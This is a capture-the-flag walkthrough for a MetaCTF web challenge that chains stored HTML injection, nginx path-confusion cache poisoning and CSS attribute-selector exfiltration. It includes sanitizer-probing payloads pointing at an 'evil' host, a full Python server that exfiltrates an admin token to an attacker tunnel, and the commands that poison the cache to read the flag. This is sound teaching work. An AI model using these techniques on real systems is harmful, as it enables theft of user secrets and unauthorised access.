PhantomNet (CachePhantom): A MetaCTF Web Walkthrough
The challenge name shifts around the source (PhantomNet, BudgetWarden, CachePhantom all show up in the EJS templates and the project zip). The intended path combines stored XSS, nginx cache poisoning via path confusion, and CSS attribute-selector exfiltration. None of those three primitives are exotic on their own, but chaining them together was a fun problem and a great teaching example.
This writeup is for someone who has solved a few CTF web challenges and wants to see how the pieces fit. If you’ve used CSS attribute selectors for exfil before, half of this will be review. If you haven’t, this is a good challenge to learn on.
The Setup
The source archive came as phantom.zip: Node/Express with EJS templates, Redis sessions, an nginx reverse proxy, and a Puppeteer admin bot. The flag endpoint lives at /admin/secrets?token=ADMINTOKEN and requires both an admin session AND the correct token. The admin token is a random 32-character hex string generated per session and rendered into the admin’s view of /dashboard as <a id="secrets-link" href="/admin/secrets?token=...">.
The admin bot does the standard CTF routine:
- Logs in as admin
- Waits 8 seconds
- Visits whatever URL you submit via
/admin/visit - Closes the page after some timeout (I never measured exactly how long)
Session cookies are HttpOnly and SameSite=Lax. So no JavaScript-based cookie theft, even if I could land XSS, and cross-site fetch behavior is limited to top-level navigations.
So I need to either steal the admin session, or steal the token plus find another way past the admin check, or trick the admin bot into doing something useful on my behalf.
Probing the Sanitizer
The first job was figuring out what the bio sanitizer actually does. The relevant code in the source:
function sanitizeBio(s) {
s = s.replace(/<script\b[^>]*>[\s\S]*?<\/script>/gi, '');
s = s.replace(/<script\b[^>]*>/gi, '');
s = s.replace(/\bon\w+\s*=/gi, '');
s = s.replace(/javascript:/gi, '');
return s;
}
Plus a tag blocklist on top of the regexes that strips <svg>, <iframe>, <form>, <input>, <base>, <object>, <embed>, <math>, and a few others.
You could read this and reason about bypasses, but it’s faster to just test against the live target. Register an account, set a bio with the payload you want to test, then read the profile page back:
J=/tmp/p.cookies
U=probe$RANDOM
curl -s -c $J -X POST "http://TARGET/register" \
--data-urlencode "username=$U" \
--data-urlencode "password=hunter22" -L -o /dev/null
probe() {
curl -s -b $J -X POST "http://TARGET/profile/update" \
--data-urlencode "bio=$1" -o /dev/null
curl -s -b $J "http://TARGET/profile/$U" | \
grep -oP '(?<=bio-content">).*?(?=</div>)'
}
probe '<img src=x onerror=alert(1)>'
probe '<link rel=stylesheet href="//evil/">'
probe '<meta http-equiv=refresh content="0;url=//evil/">'
probe '<style>@import "//evil/";</style>'
A few example outputs:
$ probe '<img src=x onerror=alert(1)>'
<img src=x alert(1)>
$ probe '<link rel=stylesheet href="//evil/">'
<link rel=stylesheet href="//evil/">
$ probe '<meta http-equiv=refresh content="0;url=//evil/">'
<meta http-equiv=refresh content="0;url=//evil/">
$ probe '<style>@import "//evil/";</style>'
<style>@import "//evil/";</style>
$ probe '<iframe src=//evil>x</iframe>'
x
$ probe '<svg onload=alert(1)>'
(empty)
The diff between what you sent and what came back tells you what the sanitizer is actually doing.
After running through a bunch of payloads, here’s what came out:
Survives the sanitizer:
<link rel=stylesheet href="..."><meta http-equiv=refresh content="0;url=...">(intact, including the URL value)<style>@import "...";</style><a href="..." id="...">text</a>(any href exceptjavascript:)<img src=x>(but everyon*=handler gets stripped)
Stripped:
<script>tags, opening and closing<svg>,<iframe>,<form>,<input>,<button>,<base>,<object>,<embed>,<math>- All
on\w+=attributes (onerror, onload, ontoggle, every variant I tried) javascript:URIs
The “official” path was probably to find a <script> bypass and land a <script nonce="STOLEN"> payload after grabbing the nonce via cache poisoning. I tried a few sanitizer bypasses for an hour (case variants, broken attributes, HTML entity escapes, sneaking past the \b word boundary) and could not find one that survived the regex.
Since <link> and <style>@import> both survived, and CSS can read element attributes via selectors and make HTTP requests via background:url(...), that’s enough to build a leak channel.
The CSP
The dashboard’s CSP looks like this:
Content-Security-Policy:
default-src 'self';
script-src 'nonce-Bh8S00skcLYDGZCT/QFhdw==';
style-src 'self' 'unsafe-inline' *;
img-src 'self' data: *;
font-src 'self' *;
connect-src 'self' *;
The * in style-src and img-src opens the door. External stylesheets from any origin load fine, and background-image: url(...) from any origin works. The CSP is locked down on scripts (nonce required) but wide open on styles and images.
This is why CSS exfil works at all on this challenge. If style-src were 'self' only, the <link rel=stylesheet> to my callback would be blocked.
CSS Attribute Selector Exfil
This is the core technique. CSS selectors match against element attributes. A rule like this:
a[href^="/admin/secrets?token=9"] {
background: url("https://attacker/hit/0/9");
}
only matches if there’s an <a> element on the page whose href starts with /admin/secrets?token=9. When it matches, the browser fetches the background-image URL, which sends a request to my server. I log the request and learn the token starts with 9.
To leak the second character, I send the browser a new stylesheet with rules like:
a[href^="/admin/secrets?token=9a"] { background: url(".../hit/1/9/a"); }
a[href^="/admin/secrets?token=9b"] { background: url(".../hit/1/9/b"); }
a[href^="/admin/secrets?token=9c"] { background: url(".../hit/1/9/c"); }
One rule per hex digit at the new position, sixteen total per round.
Different prefix, different match. Whichever rule fires tells me the next character. Then I recurse for position 2, position 3, all the way to 32.
To chain the stylesheets, the cleanest mechanism is @import. Each sheet ends with:
@import url("https://attacker/next/N/PREFIX");
The attacker server, on receiving /next/N/PREFIX, blocks until position N-1 has been leaked (so it knows the prefix), then emits the next sheet with the new prefix baked into all 16 rules. The browser parses the imported sheet, the new rules apply on the next style recalc, and the chain advances by one character.
The Exfil Server
A minimal Python implementation, no dependencies:
#!/usr/bin/env python3
import http.server, threading, urllib.parse, urllib.request, time, re, json, os
BASE = "https://YOUR-TUNNEL.example.com"
TARGET = "http://TARGET.chals.mctf.io"
CHARS = "0123456789abcdef"
TOKEN_LEN = 32
STATE_FILE = "/tmp/phantom_state.json"
leaked = {}
lock = threading.Lock()
fetcher_started = threading.Event()
if os.path.exists(STATE_FILE):
with open(STATE_FILE) as f:
leaked = {int(k): v for k, v in json.load(f).items()}
def save_state():
with open(STATE_FILE, "w") as f:
json.dump({str(k): v for k, v in leaked.items()}, f)
def fetcher(token):
if fetcher_started.is_set(): return
fetcher_started.set()
url = TARGET + "/admin/secrets;.css?token=" + token
for delay in (0.3, 0.7, 1.0, 1.5, 2.0, 3.0, 5.0, 8.0, 12.0):
time.sleep(delay)
try:
r = urllib.request.urlopen(url, timeout=10)
body = r.read().decode("utf-8", "replace")
print(f"[poll] code={r.getcode()} len={len(body)}", flush=True)
if "MetaCTF{" in body:
m = re.search(r"MetaCTF\{[^}]+\}", body)
print(f"\n>>> FLAG: {m.group(0)} <<<\n", flush=True)
with open("/tmp/FLAG.html", "w") as f:
f.write(body)
return
except Exception as e:
print(f"[poll] err: {e}", flush=True)
def build_start_css():
with lock:
first_unknown = 0
while first_unknown in leaked and first_unknown < TOKEN_LEN:
first_unknown += 1
if first_unknown >= TOKEN_LEN:
token = "".join(leaked[i] for i in range(TOKEN_LEN))
threading.Thread(target=fetcher, args=(token,), daemon=True).start()
return f"@import url('{TARGET}/admin/secrets;.css?token={token}');"
prefix = "".join(leaked[i] for i in range(first_unknown))
pos = first_unknown
rules = []
for c in CHARS:
sel = f"/admin/secrets?token={prefix}{c}"
url = f"{BASE}/hit/{pos}/{urllib.parse.quote(prefix, safe='')}/{c}"
rules.append(f'a[href^="{sel}"]{{background:url("{url}")}}')
return "\n".join(rules)
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
path = self.path.split("?")[0]
parts = path.strip("/").split("/")
if not parts or parts[0] == "":
return self.respond(200, b"")
if parts[0] == "start":
css = build_start_css()
self.respond(200, css.encode(), "text/css")
elif parts[0] == "hit" and len(parts) >= 4:
pos = int(parts[1]); ch = parts[3]
with lock:
if pos not in leaked:
leaked[pos] = ch
save_state()
full = "".join(leaked.get(i, "?") for i in range(TOKEN_LEN))
print(f"[pos {pos:02d}] '{ch}' so far: {full}", flush=True)
if all(i in leaked for i in range(TOKEN_LEN)):
token = "".join(leaked[i] for i in range(TOKEN_LEN))
print(f"\n=== FULL TOKEN: {token} ===\n", flush=True)
threading.Thread(target=fetcher, args=(token,), daemon=True).start()
self.respond(200, b"", "text/css")
else:
self.respond(200, b"")
def respond(self, code, body, ct="text/plain"):
self.send_response(code)
self.send_header("Content-Type", ct)
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Cache-Control", "no-store")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *a): pass
print(f"listening on :7331 BASE={BASE}", flush=True)
http.server.ThreadingHTTPServer(("0.0.0.0", 7331), H).serve_forever()
Two things about this design worth calling out.
State persists to disk because the puppeteer bot doesn’t stay on the page very long. The first attempt used a chained @import design where one visit would leak all 32 characters in sequence. That stalled after one or two characters because the bot closed the page before the chain finished resolving. Saving state and resubmitting the bot fixed it. Each visit leaks whatever the bot’s tab lifetime allows, and resuming picks up from the saved prefix.
The fetcher thread polls /admin/secrets;.css?token=TOKEN after the full token is leaked. It both verifies that nginx cached the response and pulls the flag back to disk.
Running the server prints a banner and then logs every leaked character as the bot visits roll in:
$ python3 phantom_exfil.py
listening on :7331 BASE=https://orbit-barrier-tommy-sodium.trycloudflare.com
[start] 0/32 leaked
[pos 00] '9' so far: 9???????????????????????????????
[start] 1/32 leaked
[pos 01] 'a' so far: 9a??????????????????????????????
[start] 2/32 leaked
[pos 02] 'a' so far: 9aa?????????????????????????????
[start] 3/32 leaked
[pos 03] '0' so far: 9aa0????????????????????????????
[start] 4/32 leaked
[pos 04] '7' so far: 9aa07???????????????????????????
[start] 5/32 leaked
[pos 05] '2' so far: 9aa072??????????????????????????
[start] 6/32 leaked
[pos 06] 'd' so far: 9aa072d?????????????????????????
[start] 7/32 leaked
[pos 07] '4' so far: 9aa072d4????????????????????????
[start] 8/32 leaked
[pos 08] 'e' so far: 9aa072d4e???????????????????????
[start] 9/32 leaked
[pos 09] '1' so far: 9aa072d4e1??????????????????????
[start] 10/32 leaked
[pos 10] 'd' so far: 9aa072d4e1d?????????????????????
[start] 11/32 leaked
[pos 11] 'f' so far: 9aa072d4e1df????????????????????
[start] 12/32 leaked
[pos 12] 'b' so far: 9aa072d4e1dfb???????????????????
[start] 13/32 leaked
[pos 13] 'e' so far: 9aa072d4e1dfbe??????????????????
[start] 14/32 leaked
[pos 14] '4' so far: 9aa072d4e1dfbe4?????????????????
[start] 15/32 leaked
[pos 15] '6' so far: 9aa072d4e1dfbe46????????????????
[start] 16/32 leaked
[pos 16] '1' so far: 9aa072d4e1dfbe461???????????????
[start] 17/32 leaked
[pos 17] '0' so far: 9aa072d4e1dfbe4610??????????????
[start] 18/32 leaked
[pos 18] '9' so far: 9aa072d4e1dfbe46109?????????????
[start] 19/32 leaked
[pos 19] '4' so far: 9aa072d4e1dfbe461094????????????
[start] 20/32 leaked
[pos 20] 'a' so far: 9aa072d4e1dfbe461094a???????????
[start] 21/32 leaked
[pos 21] '5' so far: 9aa072d4e1dfbe461094a5??????????
[start] 22/32 leaked
[pos 22] '2' so far: 9aa072d4e1dfbe461094a52?????????
[start] 23/32 leaked
[pos 23] '6' so far: 9aa072d4e1dfbe461094a526????????
[start] 24/32 leaked
[pos 24] '6' so far: 9aa072d4e1dfbe461094a5266???????
[start] 25/32 leaked
[pos 25] 'f' so far: 9aa072d4e1dfbe461094a5266f??????
[start] 26/32 leaked
[pos 26] 'e' so far: 9aa072d4e1dfbe461094a5266fe?????
[start] 27/32 leaked
[pos 27] '5' so far: 9aa072d4e1dfbe461094a5266fe5????
[start] 28/32 leaked
[pos 28] '0' so far: 9aa072d4e1dfbe461094a5266fe50???
[start] 29/32 leaked
[pos 29] 'a' so far: 9aa072d4e1dfbe461094a5266fe50a??
[start] 30/32 leaked
[pos 30] '2' so far: 9aa072d4e1dfbe461094a5266fe50a2?
[start] 31/32 leaked
[pos 31] 'a' so far: 9aa072d4e1dfbe461094a5266fe50a2a
=== FULL TOKEN: 9aa072d4e1dfbe461094a5266fe50a2a ===
[fetcher] http://TARGET/admin/secrets;.css?token=9aa072d4e1dfbe461094a5266fe50a2a
[poll] err: HTTP Error 403: Forbidden
[poll] err: HTTP Error 403: Forbidden
[poll] err: HTTP Error 403: Forbidden
[poll] err: HTTP Error 403: Forbidden
The 403s at the end are expected on the first attempt: the bot only visited /dashboard, not the secrets URL, so nginx never cached the flag page. The fix is the second admin visit in the next section.
The Cache Poisoning Trick
This is where the challenge gets interesting.
The nginx config caches responses whose URLs match a static-file regex along the lines of \.(css|js|woff2|...)$. Cache key is the raw URI.
The Express app has middleware that strips ;suffix from path before routing. So a request to /dashboard;.css flows like this:
- nginx sees the
.csssuffix, decides this URL is a static asset and is cacheable - nginx forwards to Express
- Express strips
;.cssbefore route matching, sees/dashboard, returns the dashboard HTML (200 OK) with the user’s session-specific content baked in - nginx caches the 200 HTML response under the key
/dashboard;.css
Verified live with two back to back requests:
curl -sD - "http://TARGET/dashboard;.css" -b $J -o /dev/null | grep -i x-cache
curl -sD - "http://TARGET/dashboard;.css" -b $J -o /dev/null | grep -i x-cache
X-Cache-Status: MISS
X-Cache-Status: HIT
Subsequent requests to /dashboard;.css get the cached HTML without ever reaching Express, regardless of cookies. That’s the path-confusion cache poisoning primitive in full.
Now apply this to /admin/secrets;.css?token=TOKEN:
- nginx sees
.css, ready to cache - Express strips
;.css, routes to/admin/secrets, checks admin session, checks token - If both pass, Express returns 200 with the flag HTML
- nginx caches the 200 response under
/admin/secrets;.css?token=TOKEN - I fetch the same URL unauthenticated, nginx serves the cached flag
Confirmed by hitting /admin/secrets;.css?token=abc with no admin session:
curl -sD - "http://TARGET/admin/secrets;.css?token=abc" -o /dev/null
HTTP/1.1 403 Forbidden
Date: Thu, 28 May 2026 22:08:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: keep-alive
X-Powered-By: Express
No X-Cache-Status header at all on that response. nginx wasn’t even attempting to cache it. 403s don’t get cached on this config (likely a proxy_cache_valid 200 directive). So I need the admin’s browser to be the first to hit this URL with the correct token, populating the cache with a 200. Then I can hit it myself.
Putting It Together
The full chain:
- Spin up the exfil server on
localhost:7331 - Stand up a public tunnel that exposes it to the internet
- Set the bio on your account to
<link rel=stylesheet href="https://TUNNEL/start"> - Submit
/dashboardto the admin bot in a loop until the full token leaks - Submit
/admin/secrets;.css?token=LEAKEDto the admin bot - Fetch the same URL unauthenticated to read the cached flag
Register a fresh account:
J=/tmp/p.cookies; U=pwn$RANDOM; rm -f $J
curl -s -c $J -X POST "http://TARGET/register" \
--data-urlencode "username=$U" \
--data-urlencode "password=hunter22" -L -o /dev/null
echo "USER=$U"
USER=pwn27081
Set the bio to the stylesheet link and read it back to confirm it survived the sanitizer:
curl -s -b $J -X POST "http://TARGET/profile/update" \
--data-urlencode 'bio=<link rel=stylesheet href="https://TUNNEL/start">' \
-o /dev/null
curl -s -b $J "http://TARGET/profile/$U" | \
grep -oP '(?<=bio-content">).*?(?=</div>)'
<link rel=stylesheet href="https://TUNNEL/start">
Send the admin bot to the dashboard. The first visit confirms the chain works:
curl -s -b $J -X POST "http://TARGET/admin/visit" \
-H "Content-Type: application/json" \
-d '{"url":"http://TARGET/dashboard"}'
{"status":"queued","visitId":"543ae1df-30ea-42b0-9dac-4c3b74ba04a2"}
Then loop the bot to leak the remaining characters:
for i in $(seq 1 14); do
curl -s -b $J -X POST "http://TARGET/admin/visit" \
-H "Content-Type: application/json" \
-d '{"url":"http://TARGET/dashboard"}' > /dev/null
echo "submitted $i"
sleep 12
done
submitted 1
submitted 2
submitted 3
submitted 4
submitted 5
submitted 6
submitted 7
submitted 8
submitted 9
submitted 10
submitted 11
submitted 12
submitted 13
submitted 14
Watch the exfil server logs. After about 90 seconds and a dozen submissions, the full token comes out:
=== FULL TOKEN: 9aa072d4e1dfbe461094a5266fe50a2a ===
Now send the bot to the cache-fill URL with the leaked token. Express validates and returns the flag page with 200, which nginx then caches under the ;.css URL key:
curl -s -b $J -X POST "http://TARGET/admin/visit" \
-H "Content-Type: application/json" \
-d '{"url":"http://TARGET/admin/secrets;.css?token=9aa072d4e1dfbe461094a5266fe50a2a"}'
{"status":"queued","visitId":"750573da-d08c-4cea-a07c-e4708161b21b"}
Wait long enough for the bot to land and populate the cache, then fetch the same URL with no auth:
sleep 12
curl -s "http://TARGET/admin/secrets;.css?token=9aa072d4e1dfbe461094a5266fe50a2a" \
| tee /tmp/flag.html | grep -oE "MetaCTF\{[^}]+\}"
MetaCTF{sp3cul4t1on_rul3s_m33t_c4ch3_d3c3pt1on_g8k2x}
The flag name is the challenge author’s summary of the whole thing.
Credits
Thanks to the MetaCTF crew for the challenge. The flag name is the entire writeup compressed into one phrase: speculation rules met cache deception. The intended-versus-actual solve path was probably the script-tag-with-stolen-nonce route, but the CSS-only attack chain worked end to end and was genuinely satisfying to figure out.